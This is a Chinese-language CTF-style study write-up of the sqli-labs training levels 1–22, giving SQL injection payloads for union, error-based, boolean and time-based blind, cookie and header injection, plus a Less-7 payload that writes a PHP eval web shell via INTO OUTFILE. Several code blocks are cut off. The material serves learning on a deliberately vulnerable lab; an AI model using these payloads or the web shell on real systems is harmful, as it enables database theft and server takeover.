注入的sql一直想写来着的。之前数据库课偷懒的我,留下了悔恨的眼泪。。。(后面看着太烦了就没听了)
Less-1
order by语句
order by(默认升序排列) 可以测试一下当前一共select了多少个字段select * from user where username='1' ORDER BY 3 -- +'
union 联合查询语句
union前后的两个sql语句的选择列数要相同才可以。Union all与union 的区别是增加了去重的功能。当id的数据在数据库中不存在时,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。
1 | select * from user where username='-1' UNION select 1,version(),database() -- + |
查询版本号,数据库名
数据库名,利用information_schema.SCHEMATA
这个表
1 | select * from user where username='-1' UNION select 1,group_concat(SCHEMA_NAME),4 FROM information_schema.SCHEMATA -- +' |
查表,利用information_schema.TABLES
这个表
1 | select * from user where username='-1' UNION select 1,group_concat(table_name),4 FROM information_schema.`TABLES` WHERE TABLE_SCHEMA='ctftraining' -- +' |
报ctftraining数据库的flag表的字段名
1 | select * from user where username='-1' UNION select 1,group_concat(column_name),4 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='ctftraining' AND TABLE_NAME='flag' -- +' |
查找ctftraining数据库的flag表的flag字段的值
1 | select * from user where username='-1' UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +' |
less-2
1 ' -- +
发现报错了,应该是应该是单引号影响了闭合。题目又说整数型报错。
所以猜测语句为:
1 | $sql="select * from users where id='$id'"; |
所以不需要闭合直接用lesss-1的payload就行了,以防万一注释掉后面的内容
1 | select * from user where username='-1' UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +' |
less-3
简单注入了一下看报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'union select 1,2,3 -- ') LIMIT 0,1' at line 1
猜测语句:$sql="select * from users where id=('$id')";
所以只需要将括号闭合:
1 | select * from user where username='-1') UNION select 1,group_concat(flag),4 FROM ctftraining.flag -- +' |
less-4
单引号闭合之后发现没有东西,然后尝试双引号闭合,发现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'union select 1,version(),database() -- ") LIMIT 0,1' at line 1
应该是双引号加括号,猜测语句:$sql="select * from users where id=("$id")";
所以将“
和)
闭合。
1 | select * from user where username="-1") union select 1,group_concat(flag),4 FROM ctftraining.flag -- +' |
less-5(无回显报错注入)
看到有一种盲注解法,不过我感觉后面应该能碰到就不学这个先
随便注入一下,发现除了报错输出的都是YOU are in........
怀疑是无回显,学习了详细讲解双查询注入,懂了一些才敢往下写= =。
Mysql报错注入原理分析(count()、rand()、group by)
Mysql报错注入原理分析(count()、rand()、group by)
参考这篇文章。
当count()、和rand、以及group by三者同时使用,产生报错。
当rand()为空值时,概率报错。(必要条件:两条数据以上)
而当rand(0)时,必定报错(必要条件:三条数据以上)
![用的rand()没报错(概率报错)](6jpg %}
利用回显的报错,来爆出数据库以及表:
1 | select * from user |
数据库
1 | rand()~~~随机一个0-1的小数 |
将在information_schema.schemata
这个数据库表的schema_name字段(数据库名)查出,然后把该字段的值拿去information_schema.tables
,然后利用count()、rand()、group by
共用产生报错,来报错获取数据库名。limit n,1
更改n,来获取之后的表(有概率失败,多试几次)。
可以使用and连接,记得加括号,不过我这边用的是union
1 | select * from user |
数据表
将information_schema.tables
里面查出来的TABLE_NAME(数据表名),拿去查information_schema.columns
中的字段名,通过count()、rand()、group by
共用产生报错,来获取数据表名
1 | select * from user |
字段名
将information_schema.COLUMNS
里面查出来的flag数据表的column_name(字段名),拿去查information_schema.columns
,利用count()、rand()、group by
共用产生报错,获取字段名。
1 | select * from user |
查数据
将ctftraining.flag
里面查出来的flag,拿到information_schema.tables
,利用count()、rand()、group by
共用产生报错,获取数据。虽然flag数据表中只有一条数据,实际上它查询的时候是看information_schema.tables
中是否两条以上。
1 | select * from user |
![我flag里面只有一条数据,但是依旧能查出来,所以看的是后面的数据表](10jpg %}
less-6
单引号没显示,双引号显示了报错。题目给的也是双引号(据题原理看上题,讲的很详细了。如果没懂可以通过联系方式联系我),利用上题payload:
1 | select * from user |
less-7
7是让我们写入文件,我也看到有别的办法。不过我看网上利用注册表来拿到绝对路径信息。我感觉太麻烦了= =。记录一下payload。以后遇到了再写。
1 | ?id=1'))UNION SELECT 1,2,'<?php @eval($_post["mima"])?>' into outfile "绝对路径\sqllib\\Less-7\\yijuhua.php"--+ |
less-8(布尔盲注)
这关报错被注释了,看有些人用的时间盲注,这边准备学习布尔盲注。两个盲注意思我都懂,但是不知道怎么实现= =。没事慢慢来~~~
![借别人的图= =](11.png %}
具体讲解可以看下面两篇文章,因为之前就了解过这个东西,所以也比较容易理解。
盲注是要写脚本得,建议自己写一下。我写了个代码,可以边学边参考。语句的话可以在本地搞搞自己的mysql。有些命令,命令行可以弄到,但是Navicat不行。总而言之就是多试试= =。别偷懒~~
![盲注的脚本](11jpg %}
点击下载代码less-9
这题是时间盲注,思路的话,大概就是查ascii码,利用if语句和sleep()函数,正确的话直接返回,睡五秒钟再返回,就相当于if,else,成立的话在你设定的时间之后返回,否则睡眠sleep(n),n秒钟再返回
1 | select * from user where id='1' and If(ascii(substr(database(),2,1))=102,1,sleep(5))--+ |
![时间注入原理](12jpg %}
然后写脚本的时候当我们每次尝试注入的时候,先获取当前的time,然后get(post)请求之后,查看返回的时间是否大于你设定的时间。
截一小段代码意思一下好了。思路反正和布尔盲注是一样的。都是盲注。
1 | url = "http://2a18140a-af6e-46c4-b272-140b0d0fd6b5.node3.buuoj.cn/Less-8/?id=1" |
less-10
这题就是上面那题变成了双引号注入
1 | select * from user where id="1" and If(ascii(substr(database(),2,1))=102,1,sleep(5)) -- + |
less-11
这题和less-1一样,但是他是两列,我一开始以为是三列,然后order by了一下,发现是两列,估计是username和password。
1 | select * from user where username="-1" UNION select version(),database() -- + and password=("123456"); |
less-12
这题就变成了双引号,加括号。
1 | select * from user where username=("-1") UNION select version(),database() -- + and password=("123456"); |
less-13
这题就是单引号,加括号。
1 | select * from user where username=('-1') UNION select version(),database() -- + and password=("123456"); |
less-14
这题就是纯单引号。测试的时候可以多测试几遍,或者看他报错信息。
1 | select * from user where username="1" UNION select version(),database() -- + and password=("123456"); |
less-15
这题就是单引号闭合,但是关闭了报错和无回显,可以用时间盲注或者布尔盲注。
类型的话和less-14一样
less-16
这题就是双引号加括号闭合,关闭了回显和报错,可以用时间盲注或者布尔盲注。
less-17
这题可以是更改密码,但是前提是要知道账号,看源码可以发现题目中对username进行了验证,所以只能再password来进行注入。
我这边用的是and,再加count(*)、rand(0)、group by的报错查询注入。
1 | 1' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables limit 0,1),floor(rand(0)*2)) as x from information_schema.columns group by x)as a) -- + |
![less-17](13jpg %}
另一种做法
利用updatexml来进行报错信息注入
数据库名:
1 | uname=admin&passwd=' or updatexml(1,concat('#',(database())),0)--+ |
表名:
1 | uname=admin&passwd=' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0)--+ |
接下来模仿操作就行。
less-18
也利用上面的updatexml来进行报错注入
![less-18](14jpg %}
1 | ' or updatexml(1,concat(0x7e,(database())),0))-- + |
注释之前多一个)闭合千万别忘了,可以看看源码
![less-18](15jpg %}
less-19
可以看到登陆成功后显示Referer,判断注入点在这。
我们看一下源码:
1 | if($row1){ |
![less-19](16jpg %}
less-20
看下源码,发现应该是存在cookie注入的,登陆成功后会显示你的个人信息。
1 | $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; |
代码后半段发现会把cookie里面的内容衔接进去查询,所以我们可以在cookie里面构造注入
读取数据库名:
1 | cookie:' union select 1,2,group_concat(schema_name)from information_schema.schemata # |
less-21
![less-21](18jpg %}
分析源码会发现有一步解码操作,也就是说我们要将cookie里面的内容先转成base64,注意下面的sql语句存在括号,所以要)
闭合(千万别忘了)。
1 | $cookee = base64_decode($cookee); |
less-22
![less-22](19jpg %}
看源码,多了一步双引号包裹,懂我意思吧!
拖了半个月了终于解决了一个Page。。。。
参考
双查询注入
Mysql报错注入原理分析(count()、rand()、group by)
MySQL updatexml报错注入
Sqli-labs源码